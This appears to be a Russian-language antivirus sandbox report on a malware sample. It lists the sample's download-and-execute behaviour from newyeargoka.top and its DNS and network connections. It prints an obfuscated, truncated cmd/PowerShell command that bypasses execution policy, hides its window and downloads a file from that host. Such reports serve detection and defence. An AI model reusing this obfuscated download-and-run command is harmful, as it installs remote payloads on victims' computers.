Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "Powe^R^SHEl^L^.Ex^E -EXE^C^UTIOnp^o^lICY ^b^y^PA^sS^ -n^O^P^r^OFIle -w^iNdoWS^tyLE^ H^i^dDE^n ^(nEw-objEct sYST^Em.N^E^t^.WebcLiEN^t).DOw^N^lO^Ad^Fil^e^(^'http://newyeargoka....
Сетевая активность
Подключается к
- 'co##############e-chains.prod.autograph.services.mozaws.net':443
UDP
- DNS ASK ne###argoka.top
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "Powe^R^SHEl^L^.Ex^E -EXE^C^UTIOnp^o^lICY ^b^y^PA^sS^ -n^O^P^r^OFIle -w^iNdoWS^tyLE^ H^i^dDE^n ^(nEw-objEct sYST^Em.N^E^t^.WebcLiEN^t).DOw^N^lO^Ad^Fil^e^(^'http://newyeargoka.... (со скрытым окном)
